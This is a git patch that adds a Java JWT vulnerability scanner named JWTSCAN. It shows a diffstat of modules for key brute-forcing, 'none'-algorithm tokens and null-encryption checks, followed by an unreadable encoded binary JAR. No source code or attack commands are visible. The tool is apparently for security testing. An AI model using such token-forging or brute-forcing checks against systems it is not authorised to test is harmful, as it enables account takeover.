From ee6d5d568017f303a624b6d30c37b422466bb478 Mon Sep 17 00:00:00 2001 From: xiufengyue <3126897100@qq.com> Date: Wed, 9 Feb 2022 20:01:42 +0800 Subject: [PATCH] update --- JWTSCAN.jar | Bin 0 -> 30573 bytes README.md | 2 +- pom.xml | 83 +++++++++ .../java/com/su/analysis/Http_req_pars.java | 91 ++++++++++ .../java/com/su/analysis/Http_res_pars.java | 50 ++++++ src/main/java/com/su/analysis/Jwt_pars.java | 54 ++++++ src/main/java/com/su/defect/D_Loader.java | 160 ++++++++++++++++++ src/main/java/com/su/defect/Defect.java | 54 ++++++ .../com/su/defect/brute_force/JWT_blast.java | 34 ++++ .../brute_force/Jwt_blast_processing1.java | 48 ++++++ .../com/su/defect/brute_force/Key_enum.java | 59 +++++++ .../defect/config_defect/Algorithm_rs25.java | 28 +++ .../config_defect/Config_head_None.java | 32 ++++ .../defect/config_defect/F_config_defect.java | 21 +++ .../su/defect/config_defect/JWT_miss_exp.java | 39 +++++ .../defect/vulnerability/F_vulnerability.java | 20 +++ .../su/defect/vulnerability/None_token.java | 66 ++++++++ .../defect/vulnerability/Null_encryption.java | 46 +++++ src/main/java/com/su/main.java | 84 +++++++++ src/main/java/com/su/text.java | 27 +++ src/main/java/com/su/util/En_utility.java | 18 ++ src/main/java/com/su/util/File_Utils.java | 78 +++++++++ src/main/java/com/su/util/Regu.java | 60 +++++++ .../java/com/su/util/Socket_http_utility.java | 87 ++++++++++ 24 files changed, 1240 insertions(+), 1 deletion(-) create mode 100644 JWTSCAN.jar create mode 100644 pom.xml create mode 100644 src/main/java/com/su/analysis/Http_req_pars.java create mode 100644 src/main/java/com/su/analysis/Http_res_pars.java create mode 100644 src/main/java/com/su/analysis/Jwt_pars.java create mode 100644 src/main/java/com/su/defect/D_Loader.java create mode 100644 src/main/java/com/su/defect/Defect.java create mode 100644 src/main/java/com/su/defect/brute_force/JWT_blast.java create mode 100644 src/main/java/com/su/defect/brute_force/Jwt_blast_processing1.java create mode 100644 src/main/java/com/su/defect/brute_force/Key_enum.java create mode 100644 src/main/java/com/su/defect/config_defect/Algorithm_rs25.java create mode 100644 src/main/java/com/su/defect/config_defect/Config_head_None.java create mode 100644 src/main/java/com/su/defect/config_defect/F_config_defect.java create mode 100644 src/main/java/com/su/defect/config_defect/JWT_miss_exp.java create mode 100644 src/main/java/com/su/defect/vulnerability/F_vulnerability.java create mode 100644 src/main/java/com/su/defect/vulnerability/None_token.java create mode 100644 src/main/java/com/su/defect/vulnerability/Null_encryption.java create mode 100644 src/main/java/com/su/main.java create mode 100644 src/main/java/com/su/text.java create mode 100644 src/main/java/com/su/util/En_utility.java create mode 100644 src/main/java/com/su/util/File_Utils.java create mode 100644 src/main/java/com/su/util/Regu.java create mode 100644 src/main/java/com/su/util/Socket_http_utility.java diff --git a/JWTSCAN.jar b/JWTSCAN.jar new file mode 100644 index 0000000000000000000000000000000000000000..3f1cae5d829caa350d6cae42f2706b987ccd564f GIT binary patch literal 30573 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

!*0zjfv8p;i4c5N%)a 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 